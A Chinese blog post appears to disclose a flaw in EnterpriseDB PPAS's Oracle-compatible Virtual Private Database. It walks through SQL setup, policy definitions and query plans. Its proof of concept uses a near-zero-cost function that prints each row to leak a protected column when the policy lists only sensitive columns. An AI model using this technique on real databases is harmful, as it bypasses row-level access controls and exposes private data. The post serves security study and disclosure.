EnterpriseDB (PPAS) Oracle兼容性Virtual Private Database(VPD) 数据隔离以及当前缺陷

简介: 不带barrier的视图是不安全的,我在前面写过文章来讲这个,以及如何攻击这种视图。https://yq.aliyun.com/articles/14731PostgreSQL 为了增强视图的安全,增加了barrier的属性,来解决被攻击的问题。PostgreSQL 9.5 则提供了RLS来达到表.

不带barrier的视图是不安全的,我在前面写过文章来讲这个,以及如何攻击这种视图。
https://yq.aliyun.com/articles/14731
PostgreSQL 为了增强视图的安全,增加了barrier的属性,来解决被攻击的问题。
PostgreSQL 9.5 则提供了RLS来达到表数据隔离的目的,解决了需要使用视图来隔离数据的目的。
RLS的隔离可以参考我以前写的文章
http://blog.163.com/digoal@126/blog/static/16387704020153984016177/

回到本文的主题,EnterpriseDB 9.3针对Oracle的兼容性,提供了一个叫VPD的特性,因为9.3的版本较老,那个时候还没有RLS,所以这个特性其实是基于query rewrite来做的,与barrier视图类似。
用法参考(dbms_rls包)
https://www.enterprisedb.com/docs/en/9.5/eeguide/Postgres_Plus_Enterprise_Edition_Guide.1.158.html#pID0E02EE0HA

所以攻击方法一样有效,利用优化器的特性,先处理成本低的操作符或函数。

来看看怎么攻击?
创建测试表和数据

postgres=# create table t2(id int, info text,id2 int);
CREATE TABLE
postgres=# insert into t2 values (1,'test',0);
INSERT 16633 1
postgres=# insert into t2 values (2,'test',1);
INSERT 16634 1
postgres=# insert into t2 values (3,'test',2);
INSERT 16635 1
postgres=# insert into t2 values (4,'test',2);
INSERT 16636 1

创建VPD函数,对于digoal用户,只允许他查看info='digoal'的记录。

CREATE OR REPLACE FUNCTION vpd1(
    s_schema character varying,
    s_object character varying)
  RETURNS character varying AS
$BODY$
  RESULT varchar2(20); 
  rolname    varchar2(64);   
BEGIN
  rolname = SYS_CONTEXT('USERENV', 'SESSION_USER');
  if rolname = 'digoal' then
    RESULT = 'info = ''' ||rolname||'''' ;
  else
    RESULT = '1=1' ;
  END IF;
  RETURN(RESULT);
END$BODY$
  LANGUAGE edbspl VOLATILE SECURITY DEFINER
  COST 100;

添加VPD策略, select 任意字段都启用vpd策略

DECLARE
  v_object_schema VARCHAR2(30) := 'public';
  v_object_name VARCHAR2(30) := 't2';
  v_policy_name VARCHAR2(30) := 's_t2';
  v_function_schema VARCHAR2(30) := 'public';
  v_policy_function VARCHAR2(30) := 'vpd1';
  v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';
  v_update_check boolean := true;
BEGIN
DBMS_RLS.ADD_POLICY(
v_object_schema,
v_object_name,
v_policy_name,
v_function_schema,
v_policy_function,
v_statement_types,
update_check => v_update_check
);
END;

连接到digoal用户

\c postgres digoal

查看执行计划,会筛选info='digoal'的数据

postgres=> explain select id from t2;
                           QUERY PLAN                            
-----------------------------------------------------------------
 Seq Scan on t2  (cost=0.00..24.50 rows=6 width=40)
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(2 rows)

尝试视图攻击, 把函数的cost设置为很小

create or replace function f(v_t2 t2) returns boolean as 
$$
              
declare 
begin
  raise notice '%', v_t2;
  return true;
end;

$$
 language plpgsql strict cost 0.00000000001;

查看使用了f(t2)后的执行计划

postgres=> explain select * from t2 where f(t2);                                                                                                            
                                 QUERY PLAN                                  
-----------------------------------------------------------------------------
 Seq Scan on t2  (cost=0.00..24.50 rows=2 width=40)
   Filter: ((info = 'digoal'::text) AND f(t2.*) AND (info = 'digoal'::text))
(2 rows)

实际上,无法攻击,效果与barrier视图类似,没有办法进行攻击

postgres=> select * from t2 where f(t2);        
 id | info | id2 
----+------+-----
(0 rows)

postgres=> set enable_seqscan=off;             
SET
postgres=> explain select * from t2 where id=1;
                           QUERY PLAN                            
-----------------------------------------------------------------
 Index Scan using idx on t2  (cost=0.13..8.15 rows=1 width=40)
   Index Cond: (id = 1)
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(3 rows)

但是,如果你指针对隐私列进行筛选的话,那么就有漏洞了。

DECLARE
  v_object_schema VARCHAR2(30) := 'public';
  v_object_name VARCHAR2(30) := 't2';
  v_policy_name VARCHAR2(30) := 's_t2';
BEGIN
DBMS_RLS.DROP_POLICY(
v_object_schema,
v_object_name,
v_policy_name
);
end;

DECLARE
  v_object_schema VARCHAR2(30) := 'public';
  v_object_name VARCHAR2(30) := 't2';
  v_policy_name VARCHAR2(30) := 's_t2';
  v_function_schema VARCHAR2(30) := 'public';
  v_policy_function VARCHAR2(30) := 'vpd1';
  v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';
  v_update_check boolean := true;
  v_sec_relevant_cols text := 'info';  -- 隐私列, 不加的话默认是所有列强制走vpd
BEGIN
DBMS_RLS.ADD_POLICY(
v_object_schema,
v_object_name,
v_policy_name,
v_function_schema,
v_policy_function,
v_statement_types,
update_check => v_update_check,
sec_relevant_cols => v_sec_relevant_cols
);
END;

当没有查询到隐私列时,是不会带上filter的,所以给攻击带来了希望

\c postgres digoal

postgres=> explain select info from t2;      
                           QUERY PLAN                            
-----------------------------------------------------------------
 Seq Scan on t2  (cost=0.00..24.50 rows=6 width=32)
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(2 rows)

postgres=> explain select id,id2 from t2;
                      QUERY PLAN                      
------------------------------------------------------
 Seq Scan on t2  (cost=0.00..21.60 rows=1160 width=8)
(1 row)

带上隐私列时,filter会自动加上.

postgres=> select * from t2;   
 id | info | id2 
----+------+-----
(0 rows)

在查询中不包含隐私列时,攻击成功
通过f函数已经成功的拿到了隐私列的内容

postgres=> select id,id2 from t2 where f(t2);
NOTICE:  (1,test,0)
NOTICE:  (2,test,1)
NOTICE:  (3,test,2)
NOTICE:  (4,test,2)
 id | id2 
----+-----
  1 |   0
  2 |   1
  3 |   2
  4 |   2
(4 rows)

关于connect by,PPAS会自动将其转换成with语法,同样能保证数据的安全。

postgres=> explain select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
                                         QUERY PLAN                                          
---------------------------------------------------------------------------------------------
 Sort  (cost=1278.31..1278.32 rows=6 width=72)
   Sort Key: connectby_cte.siblingssortcol
   CTE prior
     ->  Recursive Union  (cost=0.00..1252.00 rows=1166 width=104)
           ->  WindowAgg  (cost=0.00..24.57 rows=6 width=40)
                 ->  Seq Scan on t2 t  (cost=0.00..24.50 rows=6 width=40)
                       Filter: ((info = 'digoal'::text) AND (id = 4))
           ->  WindowAgg  (cost=1.95..120.41 rows=116 width=104)
                 ->  Hash Join  (cost=1.95..118.38 rows=116 width=104)
                       Hash Cond: (t_1.id = prior.id2)
                       Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)
                       ->  Seq Scan on t2 t_1  (cost=0.00..21.60 rows=1160 width=40)
                             Filter: (info = 'digoal'::text)
                       ->  Hash  (cost=1.20..1.20 rows=60 width=68)
                             ->  WorkTable Scan on prior  (cost=0.00..1.20 rows=60 width=68)
   ->  CTE Scan on prior connectby_cte  (cost=0.00..26.23 rows=6 width=72)
         Filter: (info = 'digoal'::text)
(17 rows)

postgres=> select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';        
 id | id2 | info 
----+-----+------
(0 rows)

postgres=> explain select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';     
                                         QUERY PLAN                                          
---------------------------------------------------------------------------------------------
 Sort  (cost=1334.71..1337.62 rows=1166 width=40)
   Sort Key: connectby_cte.siblingssortcol
   CTE prior
     ->  Recursive Union  (cost=0.00..1252.00 rows=1166 width=72)
           ->  WindowAgg  (cost=0.00..24.57 rows=6 width=8)
                 ->  Seq Scan on t2 t  (cost=0.00..24.50 rows=6 width=8)
                       Filter: (id = 4)
           ->  WindowAgg  (cost=1.95..120.41 rows=116 width=72)
                 ->  Hash Join  (cost=1.95..118.38 rows=116 width=72)
                       Hash Cond: (t_1.id = prior.id2)
                       Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)
                       ->  Seq Scan on t2 t_1  (cost=0.00..21.60 rows=1160 width=8)
                       ->  Hash  (cost=1.20..1.20 rows=60 width=68)
                             ->  WorkTable Scan on prior  (cost=0.00..1.20 rows=60 width=68)
   ->  CTE Scan on prior connectby_cte  (cost=0.00..23.32 rows=1166 width=40)
(15 rows)

postgres=> select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';        
 id | id2 
----+-----
  4 |   2
  2 |   1
  1 |   0
(3 rows)
目录
相关文章
|
SQL Oracle 关系型数据库
WARNING: Too Many Parse Errors With error=911 When Running a JDBC Application Connected to an Oracle 19c database
WARNING: Too Many Parse Errors With error=911 When Running a JDBC Application Connected to an Oracle 19c database (
460 2
|
Oracle 关系型数据库
19c 开启Oracle Database Vault
19c 开启Oracle Database Vault
334 1
|
SQL Oracle 关系型数据库
Connect to Autonomous Database Using Oracle Database Tools
Connect to Autonomous Database Using Oracle Database Tools
239 1
|
人工智能 Oracle 关系型数据库
一篇文章弄懂Oracle和PostgreSQL的Database Link
一篇文章弄懂Oracle和PostgreSQL的Database Link
|
Oracle 关系型数据库 Linux
Requirements for Installing Oracle Database/Client 19c on OL8 or RHEL8 64-bit (x86-64) (Doc ID 2668780.1)
Requirements for Installing Oracle Database/Client 19c on OL8 or RHEL8 64-bit (x86-64) (Doc ID 2668780.1)
187 0
|
SQL Oracle 安全
Oracle Database Vault Access Control Components
Oracle Database Vault Access Control Components
146 0
|
Oracle 安全 关系型数据库
What Is Oracle Database Vault?
The Oracle Database Vault security controls protect application data from unauthorized access, and helps you to comply with privacy and regulatory requirements. You can deploy controls to block privileged account access to application data and control sensitive operations inside the database using
108 0
|
3月前
|
Oracle 关系型数据库 Linux
【赵渝强老师】Oracle数据库配置助手:DBCA
Oracle数据库配置助手(DBCA)是用于创建和配置Oracle数据库的工具,支持图形界面和静默执行模式。本文介绍了使用DBCA在Linux环境下创建数据库的完整步骤,包括选择数据库操作类型、配置存储与网络选项、设置管理密码等,并提供了界面截图与视频讲解,帮助用户快速掌握数据库创建流程。
396 93
|
2月前
|
Oracle 关系型数据库 Linux
【赵渝强老师】使用NetManager创建Oracle数据库的监听器
Oracle NetManager是数据库网络配置工具,用于创建监听器、配置服务命名与网络连接,支持多数据库共享监听,确保客户端与服务器通信顺畅。
233 0
|
5月前
|
存储 Oracle 关系型数据库
服务器数据恢复—光纤存储上oracle数据库数据恢复案例
一台光纤服务器存储上有16块FC硬盘,上层部署了Oracle数据库。服务器存储前面板2个硬盘指示灯显示异常,存储映射到linux操作系统上的卷挂载不上,业务中断。 通过storage manager查看存储状态,发现逻辑卷状态失败。再查看物理磁盘状态,发现其中一块盘报告“警告”,硬盘指示灯显示异常的2块盘报告“失败”。 将当前存储的完整日志状态备份下来,解析备份出来的存储日志并获得了关于逻辑卷结构的部分信息。

推荐镜像

更多